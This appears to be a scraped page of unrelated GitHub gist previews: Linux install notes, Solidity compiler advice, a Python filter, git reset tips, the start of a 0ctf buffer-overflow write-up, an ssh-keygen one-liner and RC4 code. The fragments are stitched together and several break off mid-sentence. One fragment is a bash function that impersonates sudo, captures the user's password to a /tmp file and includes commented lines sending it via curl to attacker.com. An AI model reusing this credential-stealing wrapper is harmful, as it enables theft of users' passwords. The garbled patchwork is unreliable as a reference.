There was a reddit post about installing Arch on NTFS3 partition. Since Windows and Linux doesn't have directories with same names under the /(C:\), I thought it's possible, and turned out it was actually possible.
If you are not familiar to Linux, for example you've searched on Google "how to dualboot Linux and Windos" or brbrbr... you mustn't try this. This is not practical.
Using newer compiler versions and the optimizer gives gas optimizations and additional safety checks for free!
The advantages of versions 0.8.* over <0.8.0 are:
0.8.0 (can be more gas efficient than some
library based safemath).0.8.2, leads to cheaper runtime gas.
Especially relevant when the contract has small functions. For| #!/usr/bin/env python3 | |
| from typing import Any, Callable, Generator, Iterable, T | |
| def my_filter(func: Callable[[T], Any], iterable: Iterable[T]) -> Generator[T, None, None]: | |
| """Yields all values from the iterable for which the function returns a truthful value""" | |
| for value in iterable: | |
| if func(value): | |
| yield value |
Removing the last commit
To remove the last commit from git, you can simply run git reset --hard HEAD^ If you are removing multiple commits from the top, you can run git reset --hard HEAD~2 to remove the last two commits. You can increase the number to remove even more commits.
If you want to "uncommit" the commits, but keep the changes around for reworking, remove the "--hard": git reset HEAD^ which will evict the commits from the branch and from the index, but leave the working tree around.
If you want to save the commits on a new branch name, then run git branch newbranchname before doing the git reset.
ORIGINAL did fork but search didn't helped me
| function sudo () | |
| { | |
| # https://null-byte.com/privesc-0194190/ | |
| realsudo="$(which sudo)"; | |
| read -s -p "[sudo] password for $USER: " inputPasswd; | |
| printf "\n"; | |
| printf '%s\n' "$USER : $inputPasswd" > /tmp/hackedPasswd.txt; | |
| # encoded=$(printf '%s' "$inputPasswd" | base64) > /dev/null 2>&1; | |
| # curl -s "http://attacker.com/$USER:$encoded" > /dev/null 2>&1; | |
| $realsudo -S -u root bash -c "exit" <<< "$inputPasswd" > /dev/null 2>&1; |
See how a minor change to your commit message style can make a difference.
Tip
Take a look at git-conventional-commits , a CLI util to ensure these conventions, determine version and generate changelogs
| FORTIDATE %{YEAR:year}\-%{MONTHNUM:month}\-%{MONTHDAY:day} |
In this write-up I will discuss how I managed to solve the challenge "babystack" from 0ctf with a technique called return to dl-resolve. I did not know this kind of return-to attack before the contest. In the following sections a detailed explanation of the entire exploit will be presented.
I downloaded the provided binary babystack and quickly fired up binaryninja alongside with gdb to analyze it. I quickly realized a buffer overflow vulnerability is present within sub_804843b.
My first approach was to solve this challenge using a return-to-libc attack by leaking the base address of the library and call system in order to get a shell.
This technique is contingent on:
system.However, the version of libc on the remote server was unknown and the ELF did not provide any function that can be us
| HOSTNAME=`hostname` ssh-keygen -t rsa -C "$HOSTNAME" -f "$HOME/.ssh/id_rsa" -P "" && cat ~/.ssh/id_rsa.pub |
| /* | |
| robin verton, dec 2015 | |
| implementation of the RC4 algo | |
| */ | |
| #include <stdio.h> | |
| #include <string.h> | |
| #include <stdlib.h> | |
| #define N 256 // 2^8 |
